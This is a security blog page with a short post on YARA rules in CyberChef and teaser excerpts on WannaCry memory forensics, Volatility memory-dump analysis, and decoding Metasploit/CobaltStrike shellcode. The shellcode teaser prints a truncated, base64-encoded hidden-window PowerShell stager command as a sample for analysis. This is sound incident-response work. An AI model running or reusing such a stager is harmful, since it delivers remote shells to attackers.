CyberChef - YARA - The pattern matching swiss knife

One of the best features of Cyberchef is YARA and yara rules can be run for a given file to classify and gain knowledge about the file. It can also quickly give an understanding and basic characteristics of the file

Follow the below demo to know how to use yara rules in cyberchef

Cyberchef - https://gchq.github.io/CyberChef/

Comments

Memory Analysis of WannaCry Ransomware

Introduction This post explains the memory dump analysis of WannaCry infected system using volatility (An open source memory forensics framework) and other open source tools. It doesn't cover the analysis of initial infection vector, propagation and recovery of infected system. The objective is to leverage memory forensic analysis to uncover and extract Indicators of Compromise (IoC) WannaCry WannaCry (or WannaCrypt, WanaCrypt0r 2.0, Wanna Decryptor) is a ransomware program targeting the Microsoft Windows operating system. On Friday, 12 May 2017, a large cyber-attack using it was launched, infecting more than 230,000 computers in 150 countries, demanding ransom payments in the cryptocurrency bitcoin in 28 languages.The attack has been described by Europol as unprecedented in scale. https://en.wikipedia.org/wiki/WannaCry_ransomware_attack Discalimer You are dealing with real malware samples Don’t expose them to internal networks or internet Analyze them in a...

Decoding Metasploit and CobaltStrike shells

Introduction This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike ). It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2 or an adversary ShellCode Here we have the encoded powershell command powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZ...

Memory dump analysis of Donny's System

Introduction This post solves the mystery of Donny's System and outlines how to utilize memory forensics methodology to uncover artifacts from memory dumps Tools: Volatility, Yara & Windows Powershell Analysis Six-step investigative methodology by SANS Identify rogue processes Analyze process DLLs and handles Review network artifacts Look for evidence of code injection Check for signs of rootkit Dump suspicious processes and drivers Run volatility imageinfo plugin to identify profile PS C:\volatility> .\vol.exe -f .\unknown.vmem imageinfo Run Volatility pslist plugin to see active running processes PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 pslist Just to remind that all process creation and termination timings are specified in UTC. Ensure to change them to system timezone while correlating the events with other sources of evidence ...

null0x4d5a

Search This Blog